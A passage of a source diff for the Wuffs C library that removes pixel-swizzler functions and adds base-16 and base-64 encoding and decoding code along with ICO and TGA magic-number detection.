+= 2; ++ s += 1; + } + +- return len; ++ o.num_dst = len * 2; ++ o.num_src = len; ++ return o; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_16__encode4(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ wuffs_base__transform__output o; ++ size_t dst_len4 = dst.len / 4; ++ size_t len; ++ if (dst_len4 < src.len) { ++ len = dst_len4; ++ o.status.repr = wuffs_base__suspension__short_write; ++ } else { ++ len = src.len; ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ } else { ++ o.status.repr = NULL; ++ } ++ } + +- while (n >= 1) { +- uint32_t y5 = s[0] >> 3; +- uint32_t y6 = s[0] >> 2; +- uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); ++ uint8_t* d = dst.ptr; ++ uint8_t* s = src.ptr; ++ size_t n = len; + +- s += 1 * 2; +- d += 1 * 2; +- n -= 1; ++ while (n--) { ++ uint8_t c = *s; ++ d[0] = '\\'; ++ d[1] = 'x'; ++ d[2] = wuffs_private_impl__encode_base16[c >> 4]; ++ d[3] = wuffs_private_impl__encode_base16[c & 0x0F]; ++ d += 4; ++ s += 1; + } + +- return len; ++ o.num_dst = len * 4; ++ o.num_src = len; ++ return o; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__index__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len2 = dst_len / 2; +- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// ---------------- Base-64 + +- const size_t loop_unroll_count = 4; ++// The two base-64 alphabets, std and url, differ only in the last two codes. ++// - std: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ++// - url: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" + +- while (n >= loop_unroll_count) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4))); +- wuffs_base__poke_u16le__no_bounds_check( +- d + (1 * 2), wuffs_base__peek_u16le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[1] * 4))); +- wuffs_base__poke_u16le__no_bounds_check( +- d + (2 * 2), wuffs_base__peek_u16le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[2] * 4))); +- wuffs_base__poke_u16le__no_bounds_check( +- d + (3 * 2), wuffs_base__peek_u16le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[3] * 4))); ++static const uint8_t wuffs_base__base_64__decode_std[256] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. ++ 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, 0x80, 0x3F, // 0x28 ..= 0x2F. ++ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. ++ 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. + +- s += loop_unroll_count * 1; +- d += loop_unroll_count * 2; +- n -= loop_unroll_count; +- } ++ 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. ++ 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. ++ 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. ++ 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x58 ..= 0x5F. ++ 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. ++ 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. ++ 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. ++ 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4))); ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. + +- s += 1 * 1; +- d += 1 * 2; +- n -= 1; +- } ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++}; + +- return len; +-} ++static const uint8_t wuffs_base__base_64__decode_url[256] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, // 0x28 ..= 0x2F. ++ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. ++ 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__index_bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len2 = dst_len / 2; +- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. ++ 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. ++ 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. ++ 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x3F, // 0x58 ..= 0x5F. ++ 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. ++ 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. ++ 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. ++ 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. + +- // TODO: unroll. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2))); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0))); ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++}; + +- s += 1 * 1; +- d += 1 * 2; +- n -= 1; +- } ++static const uint8_t wuffs_base__base_64__encode_std[64] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. ++ 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. ++ 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. ++ 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. ++ 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. ++ 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. ++ 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. ++ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2B, 0x2F, // 0x38 ..= 0x3F. ++}; + +- return len; +-} ++static const uint8_t wuffs_base__base_64__encode_url[64] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. ++ 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. ++ 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. ++ 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. ++ 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. ++ 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. ++ 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. ++ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2D, 0x5F, // 0x38 ..= 0x3F. ++}; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__index_binary_alpha__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len2 = dst_len / 2; +- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// -------- + +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_64__decode(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) ++ ? wuffs_base__base_64__decode_url ++ : wuffs_base__base_64__decode_std; ++ wuffs_base__transform__output o; ++ uint8_t* d_ptr = dst.ptr; ++ size_t d_len = dst.len; ++ const uint8_t* s_ptr = src.ptr; ++ size_t s_len = src.len; ++ bool pad = false; + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)s0); +- } ++ while (s_len >= 4) { ++ uint32_t s = wuffs_base__peek_u32le__no_bounds_check(s_ptr); ++ uint32_t s0 = alphabet[0xFF & (s >> 0)]; ++ uint32_t s1 = alphabet[0xFF & (s >> 8)]; ++ uint32_t s2 = alphabet[0xFF & (s >> 16)]; ++ uint32_t s3 = alphabet[0xFF & (s >> 24)]; + +- s += 1 * 1; +- d += 1 * 2; +- n -= 1; +- } ++ if (((s0 | s1 | s2 | s3) & 0xC0) != 0) { ++ if (s_len > 4) { ++ o.status.repr = wuffs_base__error__bad_data; ++ goto done; ++ } else if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ goto done; ++ } else if ((options & WUFFS_BASE__BASE_64__DECODE_ALLOW_PADDING) && ++ (s_ptr[3] == '=')) { ++ pad = true; ++ if (s_ptr[2] == '=') { ++ goto src2; ++ } ++ goto src3; ++ } ++ o.status.repr = wuffs_base__error__bad_data; ++ goto done; ++ } + +- return len; +-} ++ if (d_len < 3) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } + +-// -------- ++ s_ptr += 4; ++ s_len -= 4; ++ s = (s0 << 18) | (s1 << 12) | (s2 << 6) | (s3 << 0); ++ *d_ptr++ = (uint8_t)(s >> 16); ++ *d_ptr++ = (uint8_t)(s >> 8); ++ *d_ptr++ = (uint8_t)(s >> 0); ++ d_len -= 3; ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgr_565(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ goto done; ++ } + +- // TODO: unroll. ++ if (s_len == 0) { ++ o.status.repr = NULL; ++ goto done; ++ } else if (s_len == 1) { ++ o.status.repr = wuffs_base__error__bad_data; ++ goto done; ++ } else if (s_len == 2) { ++ goto src2; ++ } + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))); +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++src3: ++ do { ++ uint32_t s = wuffs_base__peek_u24le__no_bounds_check(s_ptr); ++ uint32_t s0 = alphabet[0xFF & (s >> 0)]; ++ uint32_t s1 = alphabet[0xFF & (s >> 8)]; ++ uint32_t s2 = alphabet[0xFF & (s >> 16)]; ++ if ((s0 & 0xC0) || (s1 & 0xC0) || (s2 & 0xC3)) { ++ o.status.repr = wuffs_base__error__bad_data; ++ goto done; ++ } ++ if (d_len < 2) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } ++ s_ptr += pad ? 4 : 3; ++ s = (s0 << 18) | (s1 << 12) | (s2 << 6); ++ *d_ptr++ = (uint8_t)(s >> 16); ++ *d_ptr++ = (uint8_t)(s >> 8); ++ o.status.repr = NULL; ++ goto done; ++ } while (0); + +- s += 1 * 2; +- d += 1 * 3; +- n -= 1; +- } ++src2: ++ do { ++ uint32_t s = wuffs_base__peek_u16le__no_bounds_check(s_ptr); ++ uint32_t s0 = alphabet[0xFF & (s >> 0)]; ++ uint32_t s1 = alphabet[0xFF & (s >> 8)]; ++ if ((s0 & 0xC0) || (s1 & 0xCF)) { ++ o.status.repr = wuffs_base__error__bad_data; ++ goto done; ++ } ++ if (d_len < 1) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } ++ s_ptr += pad ? 4 : 2; ++ s = (s0 << 18) | (s1 << 12); ++ *d_ptr++ = (uint8_t)(s >> 16); ++ o.status.repr = NULL; ++ goto done; ++ } while (0); + +- return len; ++done: ++ o.num_dst = (size_t)(d_ptr - dst.ptr); ++ o.num_src = (size_t)(s_ptr - src.ptr); ++ return o; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_64__encode(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) ++ ? wuffs_base__base_64__encode_url ++ : wuffs_base__base_64__encode_std; ++ wuffs_base__transform__output o; ++ uint8_t* d_ptr = dst.ptr; ++ size_t d_len = dst.len; ++ const uint8_t* s_ptr = src.ptr; ++ size_t s_len = src.len; + +- // TODO: unroll. ++ do { ++ while (s_len >= 3) { ++ if (d_len < 4) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } ++ uint32_t s = wuffs_base__peek_u24be__no_bounds_check(s_ptr); ++ s_ptr += 3; ++ s_len -= 3; ++ *d_ptr++ = alphabet[0x3F & (s >> 18)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 12)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 6)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 0)]; ++ d_len -= 4; ++ } + +- while (n >= 1) { +- uint32_t s0 = +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ goto done; ++ } + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; +- } ++ if (s_len == 2) { ++ if (d_len < ++ ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 3)) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } ++ uint32_t s = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(s_ptr))) ++ << 8; ++ s_ptr += 2; ++ *d_ptr++ = alphabet[0x3F & (s >> 18)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 12)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 6)]; ++ if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { ++ *d_ptr++ = '='; ++ } ++ o.status.repr = NULL; ++ goto done; + +- return len; +-} ++ } else if (s_len == 1) { ++ if (d_len < ++ ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 2)) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } ++ uint32_t s = ((uint32_t)(wuffs_base__peek_u8__no_bounds_check(s_ptr))) ++ << 16; ++ s_ptr += 1; ++ *d_ptr++ = alphabet[0x3F & (s >> 18)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 12)]; ++ if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { ++ *d_ptr++ = '='; ++ *d_ptr++ = '='; ++ } ++ o.status.repr = NULL; ++ goto done; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ } else { ++ o.status.repr = NULL; ++ goto done; ++ } ++ } while (0); + +- // TODO: unroll. ++done: ++ o.num_dst = (size_t)(d_ptr - dst.ptr); ++ o.num_src = (size_t)(s_ptr - src.ptr); ++ return o; ++} + +- while (n >= 1) { +- uint32_t s0 = +- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) + +- s += 1 * 8; +- d += 1 * 3; +- n -= 1; +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) + +- return len; +-} ++// ---------------- Magic Numbers + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// ICO doesn't start with a magic identifier. Instead, see if the opening bytes ++// are plausibly ICO. ++// ++// Callers should have already verified that (prefix_data.len >= 2) and the ++// first two bytes are 0x00. ++// ++// See: ++// - https://docs.fileformat.com/image/ico/ ++static int32_t // ++wuffs_base__magic_number_guess_fourcc__maybe_ico( ++ wuffs_base__slice_u8 prefix_data, ++ bool prefix_closed) { ++ // Allow-list for the Image Type field. ++ if (prefix_data.len < 4) { ++ return prefix_closed ? 0 : -1; ++ } else if (prefix_data.ptr[3] != 0) { ++ return 0; ++ } ++ switch (prefix_data.ptr[2]) { ++ case 0x01: // ICO ++ case 0x02: // CUR ++ break; ++ default: ++ return 0; ++ } + +- // TODO: unroll. ++ // The Number Of Images should be positive. ++ if (prefix_data.len < 6) { ++ return prefix_closed ? 0 : -1; ++ } else if ((prefix_data.ptr[4] == 0) && (prefix_data.ptr[5] == 0)) { ++ return 0; ++ } + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sr = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sb = 0x101 * ((uint32_t)s[0]); ++ // The first ICONDIRENTRY's fourth byte should be zero. ++ if (prefix_data.len < 10) { ++ return prefix_closed ? 0 : -1; ++ } else if (prefix_data.ptr[9] != 0) { ++ return 0; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ // TODO: have a separate FourCC for CUR? ++ return 0x49434F20; // 'ICO 'be ++} + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++// TGA doesn't start with a magic identifier. Instead, see if the opening bytes ++// are plausibly TGA. ++// ++// Callers should have already verified that (prefix_data.len >= 2) and the ++// second byte (prefix_data.ptr[1], the Color Map Type byte), is either 0x00 or ++// 0x01. ++// ++// See: ++// - https://docs.fileformat.com/image/tga/ ++// - https://www.dca.fee.unicamp.br/~martino/disciplinas/ea978/tgaffs.pdf ++static int32_t // ++wuffs_base__magic_number_guess_fourcc__maybe_tga( ++ wuffs_base__slice_u8 prefix_data, ++ bool prefix_closed) { ++ // Allow-list for the Image Type field. ++ if (prefix_data.len < 3) { ++ return prefix_closed ? 0 : -1; ++ } ++ switch (prefix_data.ptr[2]) { ++ case 0x01: ++ case 0x02: ++ case 0x03: ++ case 0x09: ++ case 0x0A: ++ case 0x0B: ++ break; ++ default: ++ // TODO: 0x20 and 0x21 are invalid, according to the spec, but are ++ // apparently unofficial extensions. ++ return 0; ++ } + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++ // Allow-list for the Color Map Entry Size field (if the Color Map Type field ++ // is non-zero) or else all the Color Map fields should be zero. ++ if (prefix_data.len < 8) { ++ return prefix_closed ? 0 : -1; ++ } else if (prefix_data.ptr[1] != 0x00) { ++ switch (prefix_data.ptr[7]) { ++ case 0x0F: ++ case 0x10: ++ case 0x18: ++ case 0x20: ++ break; ++ default: ++ return 0; ++ } ++ } else if ((prefix_data.ptr[3] | prefix_data.ptr[4] | prefix_data.ptr[5] | ++ prefix_data.ptr[6] | prefix_data.ptr[7]) != 0x00) { ++ return 0; ++ } + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++ // Allow-list for the Pixel Depth field. ++ if (prefix_data.len < 17) { ++ return prefix_closed ? 